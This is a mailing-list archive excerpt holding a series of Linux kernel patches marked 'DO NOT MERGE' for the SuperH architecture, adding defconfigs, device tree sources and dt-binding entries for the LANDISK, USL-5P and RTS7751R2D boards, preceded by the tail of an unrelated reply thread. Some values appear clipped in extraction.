add some more flags in the future when for example a bandwidth quota how 
much memory can be moved in/out is exceeded.


Something like phase1, phase2, phase3 etc..., but that's also not very 
descriptive either.


Going to take a look at XE as well, thanks for the notice.

Regards,
Christian.



/Thomas



Regards,
Christian.

[DO NOT MERGE v6 36/37] sh: LANDISK OF defconfig

[Yoshinori Sato]

Signed-off-by: Yoshinori Sato 
---
 arch/sh/configs/landisk-of_defconfig | 104 +++
 1 file changed, 104 insertions(+)
 create mode 100644 arch/sh/configs/landisk-of_defconfig

diff --git a/arch/sh/configs/landisk-of_defconfig 
b/arch/sh/configs/landisk-of_defconfig
new file mode 100644
index ..1a70884c675b
--- /dev/null
+++ b/arch/sh/configs/landisk-of_defconfig
@@ -0,0 +1,104 @@
+CONFIG_SYSVIPC=y
+CONFIG_LOG_BUF_SHIFT=14
+CONFIG_KEXEC=y
+CONFIG_CPU_SUBTYPE_SH7751R=y
+CONFIG_MEMORY_START=0x0c00
+CONFIG_SH_OF_BOARD=y
+CONFIG_HEARTBEAT=y
+CONFIG_MODULES=y
+CONFIG_MODULE_UNLOAD=y
+CONFIG_MODULE_FORCE_UNLOAD=y
+CONFIG_FLATMEM_MANUAL=y
+CONFIG_NET=y
+CONFIG_PACKET=y
+CONFIG_UNIX=y
+CONFIG_INET=y
+CONFIG_IP_ADVANCED_ROUTER=y
+CONFIG_IP_PNP=y
+# CONFIG_IPV6 is not set
+CONFIG_NETFILTER=y
+CONFIG_ATALK=m
+CONFIG_PCI=y
+CONFIG_PCI_SH7751=y
+CONFIG_PCCARD=y
+CONFIG_YENTA=y
+CONFIG_UEVENT_HELPER=y
+CONFIG_BLK_DEV_LOOP=y
+CONFIG_BLK_DEV_RAM=y
+CONFIG_BLK_DEV_SD=y
+CONFIG_BLK_DEV_SR=y
+# CONFIG_BLK_DEV_BSG is not set
+CONFIG_ATA=y
+CONFIG_PATA_ARTOP=y
+CONFIG_PATA_OF_PLATFORM=y
+CONFIG_ATA_GENERIC=y
+CONFIG_MD=y
+CONFIG_BLK_DEV_MD=m
+CONFIG_MD_LINEAR=m
+CONFIG_MD_RAID0=m
+CONFIG_MD_RAID1=m
+CONFIG_NETDEVICES=y
+CONFIG_TUN=m
+CONFIG_8139CP=y
+CONFIG_USB_PEGASUS=m
+CONFIG_USB_RTL8150=m
+# CONFIG_INPUT_KEYBOARD is not set
+# CONFIG_INPUT_MOUSE is not set
+# CONFIG_SERIO is not set
+CONFIG_SERIAL_SH_SCI=y
+CONFIG_HW_RANDOM=y
+CONFIG_SOUND=m
+CONFIG_HID_A4TECH=m
+CONFIG_HID_BELKIN=m
+CONFIG_HID_CHERRY=m
+CONFIG_HID_CYPRESS=m
+CONFIG_HID_EZKEY=m
+CONFIG_HID_GYRATION=m
+CONFIG_HID_MICROSOFT=m
+CONFIG_HID_MONTEREY=m
+CONFIG_HID_PANTHERLORD=m
+CONFIG_HID_PETALYNX=m
+CONFIG_HID_SAMSUNG=m
+CONFIG_HID_SUNPLUS=m
+CONFIG_USB_HID=m
+CONFIG_USB=y
+CONFIG_USB_MON=y
+CONFIG_USB_EHCI_HCD=y
+# CONFIG_USB_EHCI_TT_NEWSCHED is not set
+CONFIG_USB_OHCI_HCD=y
+CONFIG_USB_PRINTER=m
+CONFIG_USB_STORAGE=m
+CONFIG_USB_STORAGE_DATAFAB=m
+CONFIG_USB_STORAGE_FREECOM=m
+CONFIG_USB_STORAGE_ISD200=m
+CONFIG_USB_STORAGE_SDDR09=m
+CONFIG_USB_STORAGE_SDDR55=m
+CONFIG_USB_STORAGE_JUMPSHOT=m
+CONFIG_USB_SERIAL=m
+CONFIG_USB_SERIAL_FTDI_SIO=m
+CONFIG_USB_SERIAL_PL2303=m
+CONFIG_USB_EMI62=m
+CONFIG_USB_EMI26=m
+CONFIG_USB_SISUSBVGA=m
+CONFIG_RENESAS_SH7751_INTC=y
+CONFIG_RENESAS_SH7751IRL_INTC=y
+CONFIG_EXT2_FS=y
+CONFIG_EXT3_FS=y
+CONFIG_REISERFS_FS=y
+CONFIG_ISO9660_FS=m
+CONFIG_MSDOS_FS=y
+CONFIG_VFAT_FS=y
+CONFIG_NTFS_FS=m
+CONFIG_NTFS_RW=y
+CONFIG_TMPFS=y
+CONFIG_ROMFS_FS=y
+CONFIG_UFS_FS=m
+CONFIG_NFS_FS=m
+CONFIG_NFSD=m
+CONFIG_NLS_CODEPAGE_437=y
+CONFIG_NLS_CODEPAGE_932=y
+CONFIG_INIT_STACK_NONE=y
+CONFIG_CRC_T10DIF=y
+CONFIG_DEBUG_KERNEL=y
+# CONFIG_FTRACE is not set
+CONFIG_SH_STANDARD_BIOS=y
-- 
2.39.2

[DO NOT MERGE v6 37/37] sh: j2_defconfig: update

[Yoshinori Sato]

I've changed some symbols related to DeviceTree,
so let's take care of those changes.

Signed-off-by: Yoshinori Sato 
---
 arch/sh/configs/j2_defconfig | 11 +++
 1 file changed, 3 insertions(+), 8 deletions(-)

diff --git a/arch/sh/configs/j2_defconfig b/arch/sh/configs/j2_defconfig
index 2eb81ebe3888..cdc8ed244618 100644
--- a/arch/sh/configs/j2_defconfig
+++ b/arch/sh/configs/j2_defconfig
@@ -1,18 +1,15 @@
-CONFIG_SMP=y
 CONFIG_SYSVIPC=y
 CONFIG_POSIX_MQUEUE=y
 CONFIG_NO_HZ=y
 CONFIG_HIGH_RES_TIMERS=y
 CONFIG_CPU_SUBTYPE_J2=y
 CONFIG_MEMORY_START=0x1000
-CONFIG_MEMORY_SIZE=0x0400
 CONFIG_CPU_BIG_ENDIAN=y
-CONFIG_SH_DEVICE_TREE=y
-CONFIG_SH_JCORE_SOC=y
+CONFIG_SH_OF_BOARD=y
 CONFIG_HZ_100=y
+CONFIG_SMP=y
 CONFIG_CMDLINE_OVERWRITE=y
 CONFIG_CMDLINE="console=ttyUL0 earlycon"
-CONFIG_BINFMT_ELF_FDPIC=y
 CONFIG_BINFMT_FLAT=y
 CONFIG_NET=y
 CONFIG_PACKET=y
@@ -21,7 +18,6 @@ CONFIG_INET=y
 CONFIG_DEVTMPFS=y
 CONFIG_DEVTMPFS_MOUNT=y
 CONFIG_NETDEVICES=y
-CONFIG_SERIAL_EARLYCON=y
 CONFIG_SERIAL_UARTLITE=y
 CONFIG_SERIAL_UARTLITE_CONSOLE=y
 CONFIG_I2C=y
@@ -30,8 +26,6 @@ CONFIG_SPI_JCORE=y
 CONFIG_WATCHDOG=y
 CONFIG_MMC=y
 CONFIG_MMC_SPI=y
-CONFIG_CLKSRC_JCORE_PIT=y
-CONFIG_JCORE_AIC=y
 CONFIG_EXT4_FS=y
 CONFIG_VFAT_FS=y
 CONFIG_FAT_DEFAULT_IOCHARSET="ascii"
@@ -40,3 +34,4 @@ CONFIG_NLS_DEFAULT="utf8"
 CONFIG_NLS_CODEPAGE_437=y
 CONFIG_NLS_ASCII=y
 CONFIG_NLS_UTF8=y
+CONFIG_INIT_STACK_NONE=y
-- 
2.39.2

[DO NOT MERGE v6 35/37] sh: RTS7751R2D Plus OF defconfig

[Yoshinori Sato]

Signed-off-by: Yoshinori Sato 
---
 arch/sh/configs/rts7751r2dplus-of_defconfig | 80 +
 1 file changed, 80 insertions(+)
 create mode 100644 arch/sh/configs/rts7751r2dplus-of_defconfig

diff --git a/arch/sh/configs/rts7751r2dplus-of_defconfig 
b/arch/sh/configs/rts7751r2dplus-of_defconfig
new file mode 100644
index ..367ae7d7fc94
--- /dev/null
+++ b/arch/sh/configs/rts7751r2dplus-of_defconfig
@@ -0,0 +1,80 @@
+CONFIG_SYSVIPC=y
+CONFIG_LOG_BUF_SHIFT=14
+CONFIG_PROFILING=y
+CONFIG_CPU_SUBTYPE_SH7751R=y
+CONFIG_MEMORY_START=0x0c00
+CONFIG_SH_OF_BOARD=y
+CONFIG_HEARTBEAT=y
+CONFIG_ZERO_PAGE_OFFSET=0x0001
+CONFIG_MODULES=y
+CONFIG_FLATMEM_MANUAL=y
+CONFIG_NET=y
+CONFIG_PACKET=y
+CONFIG_UNIX=y
+CONFIG_INET=y
+# CONFIG_IPV6 is not set
+CONFIG_PCI=y
+CONFIG_HOTPLUG_PCI=y
+CONFIG_PCI_SH7751=y
+CONFIG_UEVENT_HELPER=y
+CONFIG_MTD=y
+CONFIG_MTD_CMDLINE_PARTS=y
+CONFIG_MTD_CFI=y
+CONFIG_MTD_CFI_AMDSTD=y
+CONFIG_MTD_PHYSMAP=y
+CONFIG_BLK_DEV_RAM=y
+CONFIG_BLK_DEV_SD=y
+# CONFIG_BLK_DEV_BSG is not set
+CONFIG_ATA=y
+CONFIG_PATA_OF_PLATFORM=y
+CONFIG_NETDEVICES=y
+CONFIG_8139CP=y
+CONFIG_8139TOO=y
+# CONFIG_8139TOO_PIO is not set
+# CONFIG_INPUT_KEYBOARD is not set
+# CONFIG_INPUT_MOUSE is not set
+# CONFIG_SERIO is not set
+CONFIG_SERIAL_8250=y
+CONFIG_SERIAL_SH_SCI=y
+CONFIG_HW_RANDOM=y
+CONFIG_SPI=y
+CONFIG_SPI_SH_SCI=y
+CONFIG_MFD_SM501=y
+CONFIG_FB=y
+CONFIG_FB_SH_MOBILE_LCDC=m
+CONFIG_FB_SM501=y
+CONFIG_FB_MODE_HELPERS=y
+CONFIG_FRAMEBUFFER_CONSOLE=y
+CONFIG_LOGO=y
+# CONFIG_LOGO_LINUX_MONO is not set
+# CONFIG_LOGO_LINUX_VGA16 is not set
+# CONFIG_LOGO_LINUX_CLUT224 is not set
+# CONFIG_LOGO_SUPERH_MONO is not set
+# CONFIG_LOGO_SUPERH_VGA16 is not set
+CONFIG_SOUND=y
+CONFIG_SND=m
+CONFIG_SND_YMFPCI=m
+CONFIG_HID_GYRATION=y
+CONFIG_HID_PANTHERLORD=y
+CONFIG_HID_PETALYNX=y
+CONFIG_HID_SAMSUNG=y
+CONFIG_HID_SUNPLUS=y
+CONFIG_USB=y
+CONFIG_USB_ANNOUNCE_NEW_DEVICES=y
+CONFIG_USB_OHCI_HCD=y
+CONFIG_USB_STORAGE=y
+CONFIG_RTC_CLASS=y
+CONFIG_RTC_DRV_R9701=y
+CONFIG_RENESAS_SH7751_INTC=y
+CONFIG_RENESAS_SH7751IRL_INTC=y
+CONFIG_EXT2_FS=y
+CONFIG_MSDOS_FS=y
+CONFIG_VFAT_FS=y
+CONFIG_PROC_KCORE=y
+CONFIG_TMPFS=y
+CONFIG_MINIX_FS=y
+CONFIG_NLS_CODEPAGE_932=y
+CONFIG_CRC_T10DIF=y
+CONFIG_DEBUG_KERNEL=y
+CONFIG_DEBUG_FS=y
+# CONFIG_FTRACE is not set
-- 
2.39.2

[DO NOT MERGE v6 34/37] sh: Add dtbs target support.

[Yoshinori Sato]

Signed-off-by: Yoshinori Sato 
---
 arch/sh/boot/dts/Makefile | 5 +
 1 file changed, 5 insertions(+)

diff --git a/arch/sh/boot/dts/Makefile b/arch/sh/boot/dts/Makefile
index 4a6dec9714a9..e6b93360c213 100644
--- a/arch/sh/boot/dts/Makefile
+++ b/arch/sh/boot/dts/Makefile
@@ -1,2 +1,7 @@
 # SPDX-License-Identifier: GPL-2.0-only
 obj-$(CONFIG_USE_BUILTIN_DTB) += $(addsuffix .dtb.o, 
$(CONFIG_BUILTIN_DTB_SOURCE))
+
+dtb-$(CONFIG_CPU_J2) += j2_mimas_v2.dtb
+dtb-$(CONFIG_CPU_SUBTYPE_SH7751R) += landisk.dtb
+dtb-$(CONFIG_CPU_SUBTYPE_SH7751R) += rts7751r2dplus.dtb
+dtb-$(CONFIG_CPU_SUBTYPE_SH7751R) += usl-5p.dtb
-- 
2.39.2

[DO NOT MERGE v6 33/37] sh: j2_mimas_v2.dts update

[Yoshinori Sato]

Signed-off-by: Yoshinori Sato 
---
 arch/sh/boot/dts/j2_mimas_v2.dts | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/sh/boot/dts/j2_mimas_v2.dts b/arch/sh/boot/dts/j2_mimas_v2.dts
index fa9562f78d53..5dfe20866a1c 100644
--- a/arch/sh/boot/dts/j2_mimas_v2.dts
+++ b/arch/sh/boot/dts/j2_mimas_v2.dts
@@ -16,7 +16,7 @@ cpus {
 
cpu@0 {
device_type = "cpu";
-   compatible = "jcore,j2";
+   compatible = "jcore,j2", "renesas,sh2";
reg = <0>;
clock-frequency = <5000>;
d-cache-size = <8192>;
-- 
2.39.2

[DO NOT MERGE v6 32/37] sh: Add IO DATA USL-5P dts

[Yoshinori Sato]

IO DATA DEVICE Inc. USL-5P devicetree.

Signed-off-by: Yoshinori Sato 
---
 arch/sh/boot/dts/usl-5p.dts | 83 +
 1 file changed, 83 insertions(+)
 create mode 100644 arch/sh/boot/dts/usl-5p.dts

diff --git a/arch/sh/boot/dts/usl-5p.dts b/arch/sh/boot/dts/usl-5p.dts
new file mode 100644
index ..1830bee6f884
--- /dev/null
+++ b/arch/sh/boot/dts/usl-5p.dts
@@ -0,0 +1,83 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Device Tree Source for the IO DATA DEVICE USL-5P
+ */
+
+/dts-v1/;
+
+#include "sh7751r.dtsi"
+
+/ {
+   model = "IO-DATA Device USL-5P";
+   compatible = "iodata,usl-5p", "renesas,sh7751r";
+
+   aliases {
+   serial0 = 
+   };
+
+   chosen {
+   stdout-path = "serial0:9600n8";
+   };
+
+   memory@c00 {
+   device_type = "memory";
+   reg = <0x0c00 0x400>;
+   };
+
+   julianintc: interrupt-controller@b005 {
+   compatible = "renesas,sh7751-irl-ext";
+   reg = <0xb005 0x01>;
+   interrupt-controller;
+   #interrupt-cells = <1>;
+   renesas,enable-bit = <5 0>, /* PCI INTA */
+<6 1>, /* PCI INTB */
+<7 2>, /* PCI INTC */
+<8 3>, /* PCI INTD */
+<9 4>, /* ATA */
+<10 5>,/* CF */
+<11 6>,/* Power Switch */
+<12 7>;/* Button */
+   };
+
+   compact-flash@b440 {
+   compatible = "iodata,usl-5p-ata", "ata-generic";
+   reg = <0xb440 0x0e>, <0xb42c 2>;
+   reg-shift = <1>;
+   interrupt-parent = <>;
+   interrupts = <10>;
+   };
+};
+
+ {
+   clock-frequency = <>;
+};
+
+ {
+   renesas,mode = <5>;
+};
+
+ {
+   status = "okay";
+};
+
+ {
+   ranges = <0x0200 0 0xfd00 0xfd00 0 0x0100>,
+<0x0100 0 0x 0xfe24 0 0x0004>;
+   dma-ranges = <0x0200 0 0x0c00 0x0c00 0 0x0400>;
+   interrupt-map = <0x 0 0 1  5>,
+   <0x 0 0 2  6>,
+   <0x 0 0 3  7>,
+   <0x 0 0 4  8>,
+   <0x0800 0 0 1  6>,
+   <0x0800 0 0 2  7>,
+   <0x0800 0 0 3  8>,
+   <0x0800 0 0 4  5>,
+   <0x1000 0 0 1  7>,
+   <0x1000 0 0 2  8>,
+   <0x1000 0 0 3  5>,
+   <0x1000 0 0 4  6>;
+   interrupt-map-mask = <0x1800 0 0 7>;
+   pci-bar = <2 0xd000>;
+   pci-command-reg-io-space;
+   status = "okay";
+};
-- 
2.39.2

[DO NOT MERGE v6 30/37] sh: add RTS7751R2D Plus DTS

[Yoshinori Sato]

Renesas RTS7751R2D Plus devicetree.

Signed-off-by: Yoshinori Sato 
---
 arch/sh/boot/dts/rts7751r2dplus.dts | 180 
 arch/sh/boot/dts/sh7751r.dtsi   |   4 +
 2 files changed, 184 insertions(+)
 create mode 100644 arch/sh/boot/dts/rts7751r2dplus.dts

diff --git a/arch/sh/boot/dts/rts7751r2dplus.dts 
b/arch/sh/boot/dts/rts7751r2dplus.dts
new file mode 100644
index ..e649fcaa817c
--- /dev/null
+++ b/arch/sh/boot/dts/rts7751r2dplus.dts
@@ -0,0 +1,180 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Device Tree Source for the Renesas RTS7751R2D Plus
+ */
+
+/dts-v1/;
+
+#include "sh7751r.dtsi"
+
+/ {
+   model = "Renesas RTS7715R2D Plus";
+   compatible = "renesas,rts7751r2d", "renesas,sh7751r";
+
+   aliases {
+   serial0 = 
+   };
+
+   chosen {
+   stdout-path = "serial0:115200n8";
+   };
+
+   memory@c00 {
+   device_type = "memory";
+   reg = <0x0c00 0x400>;
+   };
+
+   r2dintc: interrupt-controller@a400 {
+   compatible = "renesas,sh7751-irl-ext";
+   reg = <0xa400 0x02>;
+   interrupt-controller;
+   #address-cells = <0>;
+   #interrupt-cells = <1>;
+   renesas,enable-bit = <0 11>,/* PCI INTD */
+<1 9>, /* CF IDE */
+<2 8>, /* CF CD */
+<3 12>,/* PCI INTC */
+<4 10>,/* SM501 */
+<5 6>, /* KEY */
+<6 5>, /* RTC ALARM */
+<7 4>, /* RTC T */
+<8 7>, /* SDCARD */
+<9 14>,/* PCI INTA */
+<10 13>,   /* PCI INTB */
+<11 0>,/* EXT */
+<12 15>;   /* TP */
+   };
+
+   display@0 {
+   compatible = "smi,sm501";
+   reg = <0x1000 0x03e0
+  0x13e0 0x0020>;
+   interrupt-parent = <>;
+   interrupts = <4>;
+   mode = "640x480-16@60";
+   little-endian;
+   smi,devices = "usb-host", "uart0";
+   swap-fb-endian;
+
+   crt {
+   smi,flags = "use-init-done",
+   "disable-at-exit",
+   "use-hwcursor",
+   "use-hwaccel";
+   };
+
+   panel {
+   bpp = <16>;
+   edid = [00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00
+   00 00 01 04 00 00 00 00 00 00 00 00 00 00 00 00
+   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+   00 00 00 00 00 00 f0 0a 80 fb 20 e0 25 10 32 60
+   02 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00
+   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
bd];
+   smi,flags = "use-init-done",
+   "disable-at-exit",
+   "use-hwcursor",
+   "use-hwaccel";
+   };
+   misc-timing {
+   ex = <16>;
+   xc = "internal-pll";
+   us = "disable";
+   };
+   misc-control {
+   pad = <24>;
+   usbclk = "crystal";
+   sh = "active-low";
+   };
+   gpio-pin-control {
+   pin@0 {
+   gpio-port;
+   };
+   pin@1 {
+   function;
+   };
+   };
+
+   gpio-i2c {
+i2c@0 {
+  sda = <1>;
+  scl = <2>;
+  delay = <100>;
+  timeout = <1000>;
+};
+   };
+   };
+
+   compact-flash@b4001000 {
+   compatible = "renesas,rts7751r2d-ata", "ata-generic";
+   reg = <0xb4001000 0x0e>, <0xb400080c 2>;
+   reg-shift = <1>;
+   interrupt-parent = <>;
+   interrupts = <1>;
+   };
+
+   flash@0 {
+   compatible = "cfi-flash";
+ 

[DO NOT MERGE v6 31/37] sh: Add IO DATA LANDISK dts

[Yoshinori Sato]

IO DATA DEVICE Inc. LANDISK HDL-U devicetree.

Signed-off-by: Yoshinori Sato 
---
 arch/sh/boot/dts/landisk.dts | 75 
 1 file changed, 75 insertions(+)
 create mode 100644 arch/sh/boot/dts/landisk.dts

diff --git a/arch/sh/boot/dts/landisk.dts b/arch/sh/boot/dts/landisk.dts
new file mode 100644
index ..a0e3c176fba8
--- /dev/null
+++ b/arch/sh/boot/dts/landisk.dts
@@ -0,0 +1,75 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Device Tree Source for the IO DATA DEVICE LANDISK
+ */
+
+/dts-v1/;
+
+#include "sh7751r.dtsi"
+
+/ {
+   model = "IO DATA Device LANDISK";
+   compatible = "iodata,landisk", "renesas,sh7751r";
+
+   aliases {
+   serial0 = 
+   };
+
+   chosen {
+   stdout-path = "serial0:9600n8";
+   };
+
+   memory@c00 {
+   device_type = "memory";
+   reg = <0x0c00 0x400>;
+   };
+
+   julianintc: interrupt-controller@b005 {
+   compatible = "renesas,sh7751-irl-ext";
+   reg = <0xb005 0x01>;
+   interrupt-controller;
+   #interrupt-cells = <1>;
+   renesas,enable-bit = <5 0>, /* PCI INTA */
+<6 1>, /* PCI INTB */
+<7 2>, /* PCI INTC */
+<8 3>, /* PCI INTD */
+<9 4>, /* ATA */
+<10 5>,/* CF */
+<11 6>,/* Power Switch */
+<12 7>;/* Button */
+   };
+};
+
+ {
+   clock-frequency = <>;
+};
+
+ {
+   renesas,mode = <5>;
+};
+
+ {
+   status = "okay";
+};
+
+ {
+   ranges = <0x0200 0 0xfd00 0xfd00 0 0x0100>,
+<0x0100 0 0x 0xfe24 0 0x0004>;
+   dma-ranges = <0x0200 0 0x0c00 0x0c00 0 0x0400>;
+   interrupt-map = <0x 0 0 1  5>,
+   <0x 0 0 2  6>,
+   <0x 0 0 3  7>,
+   <0x 0 0 4  8>,
+   <0x0800 0 0 1  6>,
+   <0x0800 0 0 2  7>,
+   <0x0800 0 0 3  8>,
+   <0x0800 0 0 4  5>,
+   <0x1000 0 0 1  7>,
+   <0x1000 0 0 2  8>,
+   <0x1000 0 0 3  5>,
+   <0x1000 0 0 4  6>;
+   interrupt-map-mask = <0x1800 0 0 7>;
+   pci-bar = <2 0xd000>;
+   pci-command-reg-io-space;
+   status = "okay";
+};
-- 
2.39.2

[DO NOT MERGE v6 29/37] sh: SH7751R SoC Internal peripheral definition dtsi.

[Yoshinori Sato]

SH7751R internal peripherals device tree.

Signed-off-by: Yoshinori Sato 
---
 arch/sh/boot/dts/sh7751r.dtsi | 148 ++
 1 file changed, 148 insertions(+)
 create mode 100644 arch/sh/boot/dts/sh7751r.dtsi

diff --git a/arch/sh/boot/dts/sh7751r.dtsi b/arch/sh/boot/dts/sh7751r.dtsi
new file mode 100644
index ..f006f7bacf99
--- /dev/null
+++ b/arch/sh/boot/dts/sh7751r.dtsi
@@ -0,0 +1,148 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Device Tree Source for the SH7751R SoC
+ */
+
+#include 
+#include 
+
+/ {
+   #address-cells = <1>;
+   #size-cells = <1>;
+
+   cpus {
+   #address-cells = <1>;
+   #size-cells = <0>;
+
+   cpu@0 {
+   compatible = "renesas,sh4", "renesas,sh2";
+   device_type = "cpu";
+   reg = <0>;
+   clocks = < SH7750_CPG_ICK>;
+   clock-names = "ick";
+   icache-size = <16384>;
+   icache-line-size = <32>;
+   dcache-size = <32768>;
+   dcache-line-size = <32>;
+   };
+   };
+
+   xtal: oscillator {
+   #clock-cells = <0>;
+   compatible = "fixed-clock";
+   clock-frequency = <0>;
+   clock-output-names = "xtal";
+   };
+
+   soc {
+   compatible = "simple-bus";
+   interrupt-parent = <>;
+   #address-cells = <1>;
+   #size-cells = <1>;
+   ranges;
+
+   cpg: clock-controller@ffc0 {
+   #clock-cells = <1>;
+   #power-domain-cells = <0>;
+   compatible = "renesas,sh7751r-cpg";
+   clocks = <>;
+   clock-names = "xtal";
+   reg = <0xffc0 20>, <0xfe0a 16>;
+   reg-names = "FRQCR", "CLKSTP00";
+   renesas,mode = <0>;
+   };
+
+   shintc: interrupt-controller@ffd0 {
+   compatible = "renesas,sh7751-intc";
+   #interrupt-cells = <1>;
+   interrupt-controller;
+   reg = <0xffd0 20>, <0xfe08 128>;
+   reg-names = "ICR", "INTPRI00";
+   renesas,ipr-map = <0x240 IPRD IPR_B12>, /* IRL0 */
+ <0x2a0 IPRD IPR_B8>,  /* IRL1 */
+ <0x300 IPRD IPR_B4>,  /* IRL2 */
+ <0x360 IPRD IPR_B0>,  /* IRL3 */
+ <0x400 IPRA IPR_B12>, /* TMU0 */
+ <0x420 IPRA IPR_B8>,  /* TMU1 */
+ <0x440 IPRA IPR_B4>,  /* TMU2 TNUI */
+ <0x460 IPRA IPR_B4>,  /* TMU2 TICPI */
+ <0x480 IPRA IPR_B0>,  /* RTC ATI */
+ <0x4a0 IPRA IPR_B0>,  /* RTC PRI */
+ <0x4c0 IPRA IPR_B0>,  /* RTC CUI */
+ <0x4e0 IPRB IPR_B4>,  /* SCI ERI */
+ <0x500 IPRB IPR_B4>,  /* SCI RXI */
+ <0x520 IPRB IPR_B4>,  /* SCI TXI */
+ <0x540 IPRB IPR_B4>,  /* SCI TEI */
+ <0x560 IPRB IPR_B12>, /* WDT */
+ <0x580 IPRB IPR_B8>,  /* REF RCMI */
+ <0x5a0 IPRB IPR_B4>,  /* REF ROVI */
+ <0x600 IPRC IPR_B0>,  /* H-UDI */
+ <0x620 IPRC IPR_B12>, /* GPIO */
+ <0x640 IPRC IPR_B8>,  /* DMAC DMTE0 */
+ <0x660 IPRC IPR_B8>,  /* DMAC DMTE1 */
+ <0x680 IPRC IPR_B8>,  /* DMAC DMTE2 */
+ <0x6a0 IPRC IPR_B8>,  /* DMAC DMTE3 */
+ <0x6c0 IPRC IPR_B8>,  /* DMAC DMAE */
+ <0x700 IPRC IPR_B4>,  /* SCIF ERI */
+ <0x720 IPRC IPR_B4>,  /* SCIF RXI */
+ <0x740 IPRC IPR_B4>,  /* SCIF BRI */
+ <0x760 IPRC IPR_B4>,  /* SCIF TXI */
+ <0x780 IPRC IPR_B8>,  /* DMAC DMTE4 */
+ <0x7a0 IPRC IPR_B8>,  /* DMAC DMTE5 */
+ <0x7c0 IPRC IPR_B8>,  /* DMAC DMTE6 */
+ <0x7e0 IPRC IPR_B8>,  /* DMAC DMTE7 */
+  

[DO NOT MERGE v6 28/37] dt-bindings: soc: renesas: sh: Add SH7751 based target

[Yoshinori Sato]

Signed-off-by: Yoshinori Sato 
---
 .../devicetree/bindings/soc/renesas/sh.yaml   | 32 +++
 1 file changed, 32 insertions(+)
 create mode 100644 Documentation/devicetree/bindings/soc/renesas/sh.yaml

diff --git a/Documentation/devicetree/bindings/soc/renesas/sh.yaml 
b/Documentation/devicetree/bindings/soc/renesas/sh.yaml
new file mode 100644
index ..3fbff2532ad3
--- /dev/null
+++ b/Documentation/devicetree/bindings/soc/renesas/sh.yaml
@@ -0,0 +1,32 @@
+# SPDX-License-Identifier: (GPL-2.0-only OR BSD-2-Clause)
+%YAML 1.2
+---
+$id: http://devicetree.org/schemas/soc/renesas/sh.yaml#
+$schema: http://devicetree.org/meta-schemas/core.yaml#
+
+title: Renesas SuperH Platform
+
+maintainers:
+  - Yoshinori Sato 
+
+properties:
+  $nodename:
+const: '/'
+  compatible:
+oneOf:
+  - description: RTS7751R2D Plus
+items:
+  - enum:
+  - renesas,rts7751r2d # Renesas SH4 2D graphics board
+  - const: renesas,sh7751r
+
+  - description: Julian board
+items:
+  - enum:
+  - iodata,landisk  # LANDISK HDL-U
+  - iodata,usl-5p   # USL-5P
+  - const: renesas,sh7751r
+
+additionalProperties: true
+
+...
-- 
2.39.2

[DO NOT MERGE v6 27/37] dt-bindings: ata: ata-generic: Add new targets

[Yoshinori Sato]

Added new ata-generic target.
- iodata,usl-5p-ata
- renesas,rts7751r2d-ata

Each boards have simple IDE Interface. Use ATA generic driver.

Signed-off-by: Yoshinori Sato 
---
 Documentation/devicetree/bindings/ata/ata-generic.yaml | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/Documentation/devicetree/bindings/ata/ata-generic.yaml 
b/Documentation/devicetree/bindings/ata/ata-generic.yaml
index 0697927f3d7e..1025b3b351d0 100644
--- a/Documentation/devicetree/bindings/ata/ata-generic.yaml
+++ b/Documentation/devicetree/bindings/ata/ata-generic.yaml
@@ -18,6 +18,8 @@ properties:
   - enum:
   - arm,vexpress-cf
   - fsl,mpc8349emitx-pata
+  - iodata,usl-5p-ata
+  - renesas,rts7751r2d-ata
   - const: ata-generic
 
   reg:
-- 
2.39.2

[DO NOT MERGE v6 26/37] dt-bindings: vendor-prefixes: Add smi

[Yoshinori Sato]

Add Silicon Mortion Technology Corporation
https://www.siliconmotion.com/

Signed-off-by: Yoshinori Sato 
---
 Documentation/devicetree/bindings/vendor-prefixes.yaml | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/Documentation/devicetree/bindings/vendor-prefixes.yaml 
b/Documentation/devicetree/bindings/vendor-prefixes.yaml
index 94ed63d9f7de..a338bdd743ab 100644
--- a/Documentation/devicetree/bindings/vendor-prefixes.yaml
+++ b/Documentation/devicetree/bindings/vendor-prefixes.yaml
@@ -1283,6 +1283,8 @@ patternProperties:
 description: Skyworks Solutions, Inc.
   "^smartlabs,.*":
 description: SmartLabs LLC
+  "^smi,.*":
+description: Silicon Motion Technology Corporation
   "^smsc,.*":
 description: Standard Microsystems Corporation
   "^snps,.*":
-- 
2.39.2

[DO NOT MERGE v6 25/37] dt-bindings: vendor-prefixes: Add iodata

[Yoshinori Sato]

Add IO DATA DEVICE INC.
https://www.iodata.com/

Signed-off-by: Yoshinori Sato 
---
 Documentation/devicetree/bindings/vendor-prefixes.yaml | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/Documentation/devicetree/bindings/vendor-prefixes.yaml 
b/Documentation/devicetree/bindings/vendor-prefixes.yaml
index 309b94c328c8..94ed63d9f7de 100644
--- a/Documentation/devicetree/bindings/vendor-prefixes.yaml
+++ b/Documentation/devicetree/bindings/vendor-prefixes.yaml
@@ -671,6 +671,8 @@ patternProperties:
 description: Inventec
   "^inversepath,.*":
 description: Inverse Path
+  "^iodata,.*":
+description: IO DATA DEVICE Inc.
   "^iom,.*":
 description: Iomega Corporation
   "^irondevice,.*":
-- 
2.39.2

[DO NOT MERGE v6 23/37] mfd: sm501: Convert platform_data to OF property

[Yoshinori Sato]

Various parameters of SM501 can be set using platform_data,
so parameters cannot be passed in the DeviceTree target.
Expands the parameters set in platform_data so that they can be
specified using DeviceTree properties.

Signed-off-by: Yoshinori Sato 
---
 drivers/mfd/sm501.c   | 436 ++
 drivers/video/fbdev/sm501fb.c | 106 +
 2 files changed, 542 insertions(+)

diff --git a/drivers/mfd/sm501.c b/drivers/mfd/sm501.c
index 28027982cf69..3408778e0048 100644
--- a/drivers/mfd/sm501.c
+++ b/drivers/mfd/sm501.c
